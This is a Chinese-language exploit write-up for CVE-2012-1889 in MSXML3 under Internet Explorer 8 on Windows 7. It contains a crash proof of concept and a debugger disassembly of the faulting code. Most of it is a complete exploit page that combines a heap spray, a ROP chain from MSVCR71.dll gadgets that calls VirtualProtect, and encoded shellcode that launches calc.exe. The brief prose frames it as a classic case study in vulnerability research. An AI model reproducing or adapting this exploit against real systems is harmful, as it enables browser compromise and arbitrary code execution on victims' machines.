實驗環境:
- Windows 7 SP1 EN
- IE 8.0.7601.17514
POC:
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object
classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"
id="xx"
></object>
<script>
var obj = document.getElementById("xx").object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
此漏洞的根源在於 definition 方法本不應接受任何參數,但上述程式碼卻傳入了參數 0。這導致後續記憶體操作發生錯誤,進而觸發漏洞。
7058e2cd 8b45ec mov eax,dword ptr [ebp-14h]
7058e2d0 8bf0 mov esi,eax
7058e2d2 3bc3 cmp eax,ebx
7058e2d4 7429 je msxml3!_dispatchImpl::InvokeHelper+0xc1 (7058e2ff)
7058e2d6 ff7528 push dword ptr [ebp+28h]
7058e2d9 8b08 mov ecx,dword ptr [eax] ds:002b:0c0c0c08=????????
7058e2db ff7524 push dword ptr [ebp+24h]
7058e2de ff7520 push dword ptr [ebp+20h]
7058e2e1 57 push edi
7058e2e2 6a03 push 3
7058e2e4 ff7514 push dword ptr [ebp+14h]
7058e2e7 68b4d35670 push offset msxml3!GUID_NULL (7056d3b4)
7058e2ec 53 push ebx
7058e2ed 50 push eax
7058e2ee ff5118 call dword ptr [ecx+18h]
7058e2f1 89450c mov dword ptr [ebp+0Ch],eax
7058e2f4 8b06 mov eax,dword ptr [esi]
7058e2f6 56 push esi
7058e2f7 ff5008 call dword ptr [eax+8]
漏洞利用相對簡單,僅需結合 Heap Spray 技術與 ROP Chain 即可達成。
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length < bytes) mystr += mystr;
return mystr.substr(0, (bytes - 6) / 2);
}
block_size = 0x1000;
padding_size = 0x5f4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
Padding = "";
NopSlide = "";
var Shellcode = unescape(
"%u0c10%u0c0c" +
"%u59a9%u7c36" + // 0x7c3659a9 : ,# RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a9%u7c36" + // 0x7c3659a9 : ,# RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u59a8%u7c36" + // 0x7c3659a8 : ,# skip 4 bytes [MSVCR71.dll] !!EBP
"%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx !!EBX
"%u58bc%u7c34" + // 0x7c3458bc : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx !!EDX
"%u1298%u7c37" + // 0x7c371298 : ,# POP ECX # RETN [MSVCR71.dll]
"%uc9ba%u7c38" + // 0x7c38c9ba : ,# &Writable location [MSVCR71.dll] !!ECX
"%u2eb9%u7c34" + // 0x7c342eb9 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]!!EDI
"%u9e85%u7c35" + // 0x7c359e85 : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll] !!ESI
"%u4cd6%u7c34" + // 0x7c344cd6 : ,# POP EAX # RETN [MSVCR71.dll]
"%ua151%u7c37" + // 0x7c37a051 =>al+ef = 0x7c37a040 : ,# ptr to &VirtualProtect()
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
// Windows exec calc.exe
"%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
"%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
"%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
"%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
"%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
"%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
"%ud5ff%u6163%u636c%u652e%u6578%u4100"
);
for (p = 0; p < padding_size; p++) {
Padding += unescape("%u0c0c");
}
for (c = 0; c < block_size; c++) {
NopSlide += unescape("%u9090");
}
NopSlide = NopSlide.substring(
0,
block_size - (Shellcode.length + Padding.length)
);
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
</script>
<body>
<object
classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"
id="xx"
></object>
<script>
var obj = document.getElementById("xx").object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
CVE-2012-1889 是一起經典的瀏覽器漏洞案例,展示了攻擊者如何透過精確的記憶體操作與程式碼重用技術,突破現代作業系統的安全防護機制。